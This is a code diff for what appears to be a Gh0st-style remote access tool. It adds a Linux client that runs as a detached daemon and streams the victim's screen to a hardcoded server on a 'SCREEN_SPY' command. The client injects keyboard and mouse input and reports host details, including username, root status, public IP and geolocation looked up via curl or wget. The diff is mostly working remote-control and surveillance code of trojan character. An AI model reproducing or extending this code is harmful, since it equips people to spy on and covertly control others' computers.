m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button2, True, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button2, False, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button2, True, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button2, False, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_MOUSEWHEEL: { + short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam); + // 滚轮:正值向上(Button4),负值向下(Button5) + unsigned int button = (delta > 0) ? Button4 : Button5; + int clicks = abs(delta) / 120; // 标准滚轮增量是120 + if (clicks < 1) clicks = 1; + for (int i = 0; i < clicks; i++) { + m_x11.pXTestFakeButtonEvent(m_inputDisplay, button, True, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, button, False, 0); + } + m_x11.pXFlush(m_inputDisplay); + break; + } + + // ================== 键盘事件 ================== + case WM_KEYDOWN: + case WM_SYSKEYDOWN: { + unsigned int vk = (unsigned int)msg->wParam; + unsigned long keysym = VKtoKeySym(vk); + if (keysym) { + unsigned int keycode = m_x11.pXKeysymToKeycode(m_inputDisplay, keysym); + if (keycode) { + m_x11.pXTestFakeKeyEvent(m_inputDisplay, keycode, True, 0); + m_x11.pXFlush(m_inputDisplay); + } + } + break; + } + + case WM_KEYUP: + case WM_SYSKEYUP: { + unsigned int vk = (unsigned int)msg->wParam; + unsigned long keysym = VKtoKeySym(vk); + if (keysym) { + unsigned int keycode = m_x11.pXKeysymToKeycode(m_inputDisplay, keysym); + if (keycode) { + m_x11.pXTestFakeKeyEvent(m_inputDisplay, keycode, False, 0); + m_x11.pXFlush(m_inputDisplay); + } + } + break; + } + } + } + +private: + IOCPClient* m_client; + std::atomic m_running; + std::thread m_captureThread; + bool m_xtestWarned; + + // X11 动态加载 + X11Loader m_x11; + Display* m_display; // 截屏线程专用 + Display* m_inputDisplay; // 输入控制专用(OnReceive 回调线程) + Window m_root; + Pixmap m_pixmap; + GC m_gc; + int m_width; + int m_height; + + // 协议 + BITMAPINFOHEADER_LNX m_bmpHeader; + std::vector m_prevFrame; + std::vector m_currFrame; + std::vector m_diffBuffer; + + // X11 截屏,输出 BGRA 格式(自底向上,与 BMP 一致) + // 使用 XCopyArea 将 root window 拷贝到离屏 Pixmap,再对 Pixmap 调用 XGetImage + // 这样可以避免合成窗口管理器(Mutter 等)导致的 BadMatch 错误 + bool CaptureScreen(std::vector& buffer) + { + // 先将 root window 内容拷贝到离屏 Pixmap + m_x11.pXCopyArea(m_display, m_root, m_pixmap, m_gc, 0, 0, m_width, m_height, 0, 0); + m_x11.pXSync(m_display, 0); // 等待拷贝完成 + + // AllPlanes = ~0UL, ZPixmap = 2 + XImage* img = m_x11.pXGetImage(m_display, m_pixmap, 0, 0, m_width, m_height, ~0UL, 2); + if (!img) return false; + + // X11 ZPixmap 通常是 BGRA (bits_per_pixel=32),但行序是自顶向下 + // BMP 期望自底向上,需要翻转 + int rowBytes = m_width * 4; + for (int y = 0; y < m_height; y++) { + int srcRow = y; + int dstRow = m_height - 1 - y; // 翻转 + uint8_t* src = (uint8_t*)img->data + srcRow * img->bytes_per_line; + uint8_t* dst = buffer.data() + dstRow * rowBytes; + + if (img->bits_per_pixel == 32) { + // X11 通常是 BGRX,需要确保 alpha 通道 + for (int x = 0; x < m_width; x++) { + dst[x * 4 + 0] = src[x * 4 + 0]; // B + dst[x * 4 + 1] = src[x * 4 + 1]; // G + dst[x * 4 + 2] = src[x * 4 + 2]; // R + dst[x * 4 + 3] = 0xFF; // A + } + } else { + // 不支持非 32 位格式 + m_x11.pXDestroyImage(img); + return false; + } + } + + m_x11.pXDestroyImage(img); + return true; + } + + // 发送第一帧完整截图 + void SendFirstScreen() + { + if (!CaptureScreen(m_currFrame)) return; + + uint32_t imgSize = m_bmpHeader.biSizeImage; + std::vector buf(1 + imgSize); + buf[0] = TOKEN_FIRSTSCREEN; + memcpy(&buf[1], m_currFrame.data(), imgSize); + + m_client->Send2Server((char*)buf.data(), buf.size()); + + // 保存为上一帧 + m_prevFrame = m_currFrame; + } + + // 计算差异并发送 TOKEN_NEXTSCREEN + // 差异格式: 每个变化区域 = offset(4字节) + pixelCount(4字节) + BGRA 像素数据 + void SendDiffFrame() + { + if (!CaptureScreen(m_currFrame)) return; + + uint8_t* out = m_diffBuffer.data(); + out[0] = TOKEN_NEXTSCREEN; + uint8_t* data = out + 1; + + // 写入算法类型 + uint8_t algo = 1; // ALGORITHM_DIFF (服务端定义为 1) + memcpy(data, &algo, sizeof(uint8_t)); + + // 写入光标位置 (Linux 端简单置 0) + int32_t cursorX = 0, cursorY = 0; + memcpy(data + 1, &cursorX, sizeof(int32_t)); + memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t)); + + // 写入光标类型 + uint8_t cursorType = 0; + memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t)); + + uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; // algo + cursor + cursorType + uint8_t* diffData = data + headerSize; + uint32_t diffLen = CompareBitmap(m_currFrame.data(), m_prevFrame.data(), + diffData, m_bmpHeader.biSizeImage); + + uint32_t totalLen = 1 + headerSize + diffLen; + m_client->Send2Server((char*)out, totalLen); + + // 更新上一帧 + std::swap(m_prevFrame, m_currFrame); + } + + // 简化版差异比较算法 + // 输出格式: [byteOffset(4) + byteCount(4) + pixel data] ... + // 注意:offset 和 count 都是字节数,与服务端 memcpy(dst + offset, data, count) 对应 + uint32_t CompareBitmap(const uint8_t* curr, const uint8_t* prev, + uint8_t* outBuf, uint32_t totalBytes) + { + const uint32_t bytesPerPixel = 4; + const uint32_t totalPixels = totalBytes / bytesPerPixel; + const uint32_t gapThreshold = 8; // 8 像素间隙容忍 + + uint32_t outOffset = 0; + uint32_t i = 0; + + while (i < totalPixels) { + // 跳过相同像素 + while (i < totalPixels && + *(uint32_t*)(curr + i * 4) == *(uint32_t*)(prev + i * 4)) { + i++; + } + if (i >= totalPixels) break; + + // 找到变化区域的起始 + uint32_t start = i; + uint32_t lastDiff = i; + + // 扫描直到连续 gapThreshold 个像素相同 + while (i < totalPixels) { + if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) { + lastDiff = i; + } + else if (i - lastDiff > gapThreshold) { + break; + } + i++; + } + + uint32_t end = lastDiff + 1; + uint32_t count = end - start; + uint32_t byteOffset = start * bytesPerPixel; // 字节偏移 + uint32_t byteCount = count * bytesPerPixel; // 字节数 + + // 写入 byteOffset + byteCount + pixel data + memcpy(outBuf + outOffset, &byteOffset, sizeof(uint32_t)); + outOffset += sizeof(uint32_t); + memcpy(outBuf + outOffset, &byteCount, sizeof(uint32_t)); + outOffset += sizeof(uint32_t); + memcpy(outBuf + outOffset, curr + byteOffset, byteCount); + outOffset += byteCount; + } + + return outOffset; + } + + // 截屏主循环 + void CaptureLoop() + { + Mprintf(">>> ScreenHandler CaptureLoop started (%dx%d)\n", m_width, m_height); + + // 发送第一帧 + SendFirstScreen(); + + const int fps = 10; + const int sleepMs = 1000 / fps; + + while (m_running) { + clock_t start = clock(); + + SendDiffFrame(); + + int elapsed = (clock() - start) * 1000 / CLOCKS_PER_SEC; + int wait = sleepMs - elapsed; + if (wait > 0) { + usleep(wait * 1000); + } + } + + Mprintf(">>> ScreenHandler CaptureLoop stopped\n"); + } +}; diff --git a/linux/main.cpp b/linux/main.cpp index ef1d4c2..7cb480c 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -2,6 +2,9 @@ #include "client/IOCPClient.h" #include #include +#include +#include +#include #include #include #include @@ -18,9 +21,90 @@ #include #include #include +#include +#include "ScreenHandler.h" +#include "common/logger.h" int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); +// ============== 轻量 INI 配置文件读写(Linux 替代 Windows iniFile)============== +// 配置文件路径: ~/.config/ghost/config.ini +// 格式: key=value(按行存储,不分 section,足够简单场景使用) +class LinuxConfig +{ +public: + LinuxConfig() + { + // 确定配置目录 + const char* xdg = getenv("XDG_CONFIG_HOME"); + if (xdg && xdg[0]) { + m_dir = std::string(xdg) + "/ghost"; + } else { + const char* home = getenv("HOME"); + if (!home) home = "/tmp"; + m_dir = std::string(home) + "/.config/ghost"; + } + m_path = m_dir + "/config.ini"; + Load(); + } + + std::string GetStr(const std::string& key, const std::string& def = "") const + { + auto it = m_data.find(key); + return it != m_data.end() ? it->second : def; + } + + void SetStr(const std::string& key, const std::string& value) + { + m_data[key] = value; + Save(); + } + + int GetInt(const std::string& key, int def = 0) const + { + auto it = m_data.find(key); + if (it != m_data.end()) { + try { return std::stoi(it->second); } catch (...) {} + } + return def; + } + + void SetInt(const std::string& key, int value) + { + m_data[key] = std::to_string(value); + Save(); + } + +private: + std::string m_dir; + std::string m_path; + std::map m_data; + + void Load() + { + std::ifstream f(m_path); + std::string line; + while (std::getline(f, line)) { + size_t eq = line.find('='); + if (eq != std::string::npos) { + std::string k = line.substr(0, eq); + std::string v = line.substr(eq + 1); + m_data[k] = v; + } + } + } + + void Save() + { + // 创建目录(mkdir -p 效果) + mkdir(m_dir.c_str(), 0755); + std::ofstream f(m_path, std::ios::trunc); + for (auto& kv : m_data) { + f << kv.first << "=" << kv.second << "\n"; + } + } +}; + // 远程地址:当前为写死状态,如需调试,请按实际情况修改 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX }; @@ -173,6 +257,28 @@ void* ShellworkingThread(void* param) return NULL; } +void* ScreenworkingThread(void* param) +{ + try { + std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); + void* clientAddr = ClientObject.get(); + Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); + if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { + std::unique_ptr handler(new ScreenHandler(ClientObject.get())); + ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); + // 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致) + handler->SendBitmapInfo(); + Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr); + while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) + Sleep(1000); + } + Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr); + } catch (const std::exception& e) { + Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what()); + } + return NULL; +} + int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { if (szBuffer == nullptr || ulLength == 0) @@ -186,6 +292,10 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) std::thread(ShellworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SHELL' command ***\n", user); } + else if (szBuffer[0] == COMMAND_SCREEN_SPY) { + std::thread(ScreenworkingThread, nullptr).detach(); + Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user); + } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); } @@ -238,36 +348,391 @@ double parse_cpuinfo() return -1; } -// 一个基于Linux操作系统实现的受控程序例子: 当前只实现了注册、删除和终端功能. -int main() +// ============== 系统信息采集函数(用于填充 LOGIN_INFOR) ============== + +// 获取 Linux 发行版名称(如 "Ubuntu 24.04 LTS") +std::string getLinuxDistro() { - char hostname[256] = {}; - if (gethostname(hostname, sizeof(hostname)) == 0) { - std::cout << "Hostname: " << hostname << std::endl; + std::ifstream f("/etc/os-release"); + std::string line; + while (std::getline(f, line)) { + if (line.compare(0, 13, "PRETTY_NAME=\"") == 0) { + // PRETTY_NAME="Ubuntu 24.04.1 LTS" + std::string name = line.substr(13); + if (!name.empty() && name.back() == '"') + name.pop_back(); + return name; + } } - else { - std::cerr << "Failed to get hostname" << std::endl; + // 回退:使用 uname + struct utsname u = {}; + if (uname(&u) == 0) { + return std::string(u.sysname) + " " + u.release; } - struct utsname systemInfo = {}; - if (uname(&systemInfo) == 0) { - std::cout << "System Name: " << systemInfo.sysname << std::endl; + return "Linux"; +} + +// 获取 CPU 核心数 +int getCPUCores() +{ + long n = sysconf(_SC_NPROCESSORS_ONLN); + return n > 0 ? (int)n : 1; +} + +// 获取系统内存(GB) +double getMemorySizeGB() +{ + struct sysinfo si = {}; + if (sysinfo(&si) == 0) { + return si.totalram * (double)si.mem_unit / (1024.0 * 1024.0 * 1024.0); } - else { - std::cerr << "Failed to get system info" << std::endl; + return 0; +} + +// 获取当前可执行文件路径 +std::string getExePath() +{ + char buf[1024] = {}; + ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1); + if (len > 0) { + buf[len] = '\0'; + return buf; + } + return ""; +} + +// 获取文件大小(格式化为 "1.2M" 或 "123K") +std::string getFileSize(const std::string& path) +{ + struct stat st = {}; + if (stat(path.c_str(), &st) != 0) return "?"; + char buf[32]; + if (st.st_size >= 1024 * 1024) { + sprintf(buf, "%.1fM", st.st_size / (1024.0 * 1024.0)); + } else if (st.st_size >= 1024) { + sprintf(buf, "%.1fK", st.st_size / 1024.0); + } else { + sprintf(buf, "%ldB", (long)st.st_size); + } + return buf; +} + +// 获取当前用户名 +std::string getUsername() +{ + struct passwd* pw = getpwuid(getuid()); + if (pw && pw->pw_name) return pw->pw_name; + const char* u = getenv("USER"); + return u ? u : "?"; +} + +// 获取屏幕分辨率字符串(格式 "显示器数:宽*高") +std::string getScreenResolution() +{ + // 尝试通过 xrandr 获取 + std::unique_ptr pipe(popen("xrandr --current 2>/dev/null", "r"), pclose); + if (pipe) { + char line[256]; + // 匹配 "connected ... 1920x1080" 之类的行 + int monitors = 0; + int maxW = 0, maxH = 0; + std::regex res_regex("\\s+(\\d+)x(\\d+)\\+"); + while (fgets(line, sizeof(line), pipe.get())) { + std::string s(line); + if (s.find(" connected") != std::string::npos) { + monitors++; + std::smatch m; + if (std::regex_search(s, m, res_regex) && m.size() > 2) { + int w = std::stoi(m[1].str()); + int h = std::stoi(m[2].str()); + if (w > maxW) maxW = w; + if (h > maxH) maxH = h; + } + } + } + if (monitors > 0 && maxW > 0) { + char buf[64]; + sprintf(buf, "%d:%d*%d", monitors, maxW, maxH); + return buf; + } + } + return "0:0*0"; +} + +// 执行命令并返回输出 +static std::string execCmd(const std::string& cmd) +{ + std::unique_ptr pipe(popen(cmd.c_str(), "r"), pclose); + if (!pipe) return ""; + char buf[4096]; + std::string result; + while (fgets(buf, sizeof(buf), pipe.get())) { + result += buf; + } + // 去除尾部空白 + while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' ')) + result.pop_back(); + return result; +} + +// HTTP GET 请求(优先 curl,备选 wget) +static std::string httpGet(const std::string& url, int timeoutSec = 5) +{ + std::string t = std::to_string(timeoutSec); + // 优先使用 curl + std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null"); + if (!r.empty()) return r; + // 备选 wget(Ubuntu 默认自带) + r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null"); + return r; +} + +// 获取公网 IP(轮询多个查询源,与 Windows 端一致) +std::string getPublicIP() +{ + static const char* urls[] = { + "https://checkip.amazonaws.com", + "https://api.ipify.org", + "https://ipinfo.io/ip", + "https://icanhazip.com", + "https://ifconfig.me/ip", + }; + for (auto& url : urls) { + std::string ip = httpGet(url, 3); + // 简单校验:非空且看起来像 IP(含有点号,长度合理) + if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) { + Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url); + return ip; + } + } + Mprintf("getPublicIP: all sources failed\n"); + return ""; +} + +// 从 JSON 字符串中提取指定 key 的值(简易解析,不依赖 jsoncpp) +// 支持格式: "key": "value" 或 "key":"value" +static std::string jsonExtract(const std::string& json, const std::string& key) +{ + std::string needle = "\"" + key + "\""; + size_t pos = json.find(needle); + if (pos == std::string::npos) return ""; + pos = json.find(':', pos + needle.size()); + if (pos == std::string::npos) return ""; + pos = json.find('"', pos + 1); + if (pos == std::string::npos) return ""; + size_t end = json.find('"', pos + 1); + if (end == std::string::npos) return ""; + return json.substr(pos + 1, end - pos - 1); +} + +// 获取 IP 地理位置(通过 ipinfo.io,与 Windows 端一致) +std::string getGeoLocation(const std::string& ip) +{ + if (ip.empty()) return ""; + std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5); + if (json.empty()) return ""; + + std::string country = jsonExtract(json, "country"); + std::string city = jsonExtract(json, "city"); + + if (city.empty() && country.empty()) return ""; + if (city.empty()) return country; + if (country.empty()) return city; + return city + ", " + country; +} + +// ============== 守护进程 ============== + +// PID 文件路径(与配置文件同目录) +static std::string getPidFilePath() +{ + const char* xdg = getenv("XDG_CONFIG_HOME"); + std::string dir; + if (xdg && xdg[0]) { + dir = std::string(xdg) + "/ghost"; + } else { + const char* home = getenv("HOME"); + if (!home) home = "/tmp"; + dir = std::string(home) + "/.config/ghost"; + } + mkdir(dir.c_str(), 0755); + return dir + "/ghost.pid"; +} + +static void writePidFile() +{ + std::string path = getPidFilePath(); + std::ofstream f(path, std::ios::trunc); + f << getpid() << std::endl; +} + +static void removePidFile() +{ + unlink(getPidFilePath().c_str()); +} + +// 检查是否已有实例在运行 +static bool isAlreadyRunning() +{ + std::ifstream f(getPidFilePath()); + int pid = 0; + if (f >> pid && pid > 0) { + // kill(pid, 0) 不发信号,仅检查进程是否存在 + if (kill(pid, 0) == 0) return true; + } + return false; +} + +// 经典 Unix 双 fork 守护进程 +static void daemonize() +{ + pid_t pid = fork(); + if (pid < 0) exit(1); + if (pid > 0) exit(0); // 父进程退出 + + setsid(); // 新会话,脱离终端 + + pid = fork(); // 第二次 fork,防止重新获取控制终端 + if (pid < 0) exit(1); + if (pid > 0) exit(0); + + // 关闭标准文件描述符,重定向到 /dev/null + close(STDIN_FILENO); + close(STDOUT_FILENO); + close(STDERR_FILENO); + open("/dev/null", O_RDONLY); // fd 0 = stdin + open("/dev/null", O_WRONLY); // fd 1 = stdout + open("/dev/null", O_WRONLY); // fd 2 = stderr +} + +// 信号处理:收到 SIGTERM/SIGINT 时优雅退出 +static void signalHandler(int sig) +{ + g_bExit = S_CLIENT_EXIT; +} + +static void setupSignals() +{ + signal(SIGTERM, signalHandler); // kill 默认信号 + signal(SIGINT, signalHandler); // Ctrl+C + signal(SIGHUP, SIG_IGN); // 终端断开时忽略 + signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略 +} + +// 用法: ./ghost [-d] [IP] [端口] +// -d 后台守护进程模式 +// 示例: ./ghost -d 192.168.1.100 6543 +int main(int argc, char* argv[]) +{ + // 解析 -d 参数 + bool daemon_mode = false; + int argStart = 1; + if (argc > 1 && strcmp(argv[1], "-d") == 0) { + daemon_mode = true; + argStart = 2; } + if (argStart + 1 < argc) { + g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1])); + } else if (argStart < argc) { + g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort()); + } + + // 守护进程化(必须在 getpid() 等调用之前) + if (daemon_mode) { + if (isAlreadyRunning()) { + fprintf(stderr, "ghost is already running.\n"); + return 1; + } + daemonize(); + } + + // 信号处理 + setupSignals(); + + // 写 PID 文件(守护进程模式下 PID 已变为子进程的) + writePidFile(); + + Mprintf("Server: %s:%d (PID: %d%s)\n", + g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(), + getpid(), daemon_mode ? ", daemon" : ""); + + char hostname[256] = {}; + gethostname(hostname, sizeof(hostname)); + LOGIN_INFOR logInfo; + + // 主机名 strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; - strncpy(logInfo.OsVerInfoEx, systemInfo.sysname, sizeof(logInfo.OsVerInfoEx) - 1); + + // 操作系统版本(如 "Ubuntu 24.04 LTS") + std::string distro = getLinuxDistro(); + strncpy(logInfo.OsVerInfoEx, distro.c_str(), sizeof(logInfo.OsVerInfoEx) - 1); logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0'; + + // 启动时间 strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1); logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0'; - double freq = parse_lscpu(); // 优先使用 lscpu - if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo + + // CPU 主频 + double freq = parse_lscpu(); + if (freq < 0) freq = parse_cpuinfo(); logInfo.dwCPUMHz = freq > 0 ? static_cast(freq) : 0; + + // 摄像头 logInfo.bWebCamIsExist = 0; - strcpy_s(logInfo.szReserved, "LNX"); + + // 可执行文件路径 + std::string exePath = getExePath(); + + // 读取配置文件(~/.config/ghost/config.ini) + LinuxConfig cfg; + + // 安装时间:首次运行写入,后续从配置文件读取 + std::string installTime = cfg.GetStr("install_time"); + if (installTime.empty()) { + installTime = ToPekingTimeAsString(nullptr); + cfg.SetStr("install_time", installTime); + Mprintf("First run, install_time saved: %s\n", installTime.c_str()); + } + + // 公网 IP 和地理位置:缓存到配置文件,7 天过期后重新查询 + std::string pubIP = cfg.GetStr("public_ip"); + std::string location = cfg.GetStr("location"); + int ipTime = cfg.GetInt("ip_time"); + bool ipExpired = ipTime <= 0 || (time(nullptr) - ipTime > 7 * 86400); + if (pubIP.empty() || location.empty() || ipExpired) { + pubIP = getPublicIP(); + if (!pubIP.empty()) { + location = getGeoLocation(pubIP); + cfg.SetStr("public_ip", pubIP); + cfg.SetStr("location", location); + cfg.SetInt("ip_time", (int)time(nullptr)); + Mprintf("IP/Location updated: %s / %s\n", pubIP.c_str(), location.c_str()); + } + } + + // ============== 填充 szReserved(19 个字段,与服务端 LOGIN_RES 枚举一一对应)============== + logInfo.AddReserved("LNX"); // [0] RES_CLIENT_TYPE + logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [1] RES_SYSTEM_BITS + logInfo.AddReserved(getCPUCores()); // [2] RES_SYSTEM_CPU + logInfo.AddReserved(getMemorySizeGB()); // [3] RES_SYSTEM_MEM + logInfo.AddReserved(exePath.c_str()); // [4] RES_FILE_PATH + logInfo.AddReserved("?"); // [5] RES_RESVERD + logInfo.AddReserved(installTime.c_str()); // [6] RES_INSTALL_TIME + logInfo.AddReserved("?"); // [7] RES_INSTALL_INFO + logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [8] RES_PROGRAM_BITS + logInfo.AddReserved(""); // [9] RES_EXPIRED_DATE + logInfo.AddReserved(location.c_str()); // [10] RES_CLIENT_LOC + logInfo.AddReserved(pubIP.c_str()); // [11] RES_CLIENT_PUBIP + logInfo.AddReserved("v1.0.0"); // [12] RES_EXE_VERSION + logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME + logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN + logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION + logInfo.AddReserved(""); // [16] RES_CLIENT_ID(服务端自动计算) + logInfo.AddReserved((int)getpid()); // [17] RES_PID + logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE std::unique_ptr ClientObject(new IOCPClient(g_bExit, false)); ClientObject->setManagerCallBack(NULL, DataProcess, NULL); @@ -285,5 +750,7 @@ int main() } while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit); } + Logger::getInstance().stop(); + removePidFile(); return 0; } diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index ae9e14f..0f9743a 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -105,6 +105,23 @@ std::string removeAnsiCodes(const std::string& input) return std::regex_replace(input, ansi_regex, ""); } +// UTF-8 → ANSI(GBK) 转换,如果输入不是合法 UTF-8 则原样返回 +static std::string Utf8ToLocal(const std::string& text) +{ + if (text.empty()) return text; + // 尝试以 UTF-8 解码,MB_ERR_INVALID_CHARS 会让非法 UTF-8 失败 + int wLen = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, text.c_str(), -1, NULL, 0); + if (wLen <= 0) return text; // 不是合法 UTF-8,原样返回(Windows 客户端 GBK 数据走这里) + std::wstring wstr(wLen, 0); + MultiByteToWideChar(CP_UTF8, 0, text.c_str(), -1, &wstr[0], wLen); + int aLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL); + if (aLen <= 0) return text; + std::string ansi(aLen, 0); + WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], aLen, NULL, NULL); + if (!ansi.empty() && ansi.back() == '\0') ansi.pop_back(); + return ansi; +} + VOID CShellDlg::AddKeyBoardData(void) { // 最后填上0 @@ -113,7 +130,9 @@ VOID CShellDlg::AddKeyBoardData(void) m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //从被控制端来的数据我们要加上一个\0 Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); bool firstRecv = tmp.c_str() == std::string(">"); - CString strResult = firstRecv ? "" : CString("\r\n") + removeAnsiCodes(tmp.c_str()).c_str(); //获得所有的数据 包括 \0 + std::string cleaned = removeAnsiCodes(tmp.c_str()); + std::string converted = Utf8ToLocal(cleaned); // Linux 客户端 UTF-8 → GBK;Windows 客户端原样通过 + CString strResult = firstRecv ? "" : CString("\r\n") + converted.c_str(); //替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致 所有的回车换行 strResult.Replace("\n", "\r\n");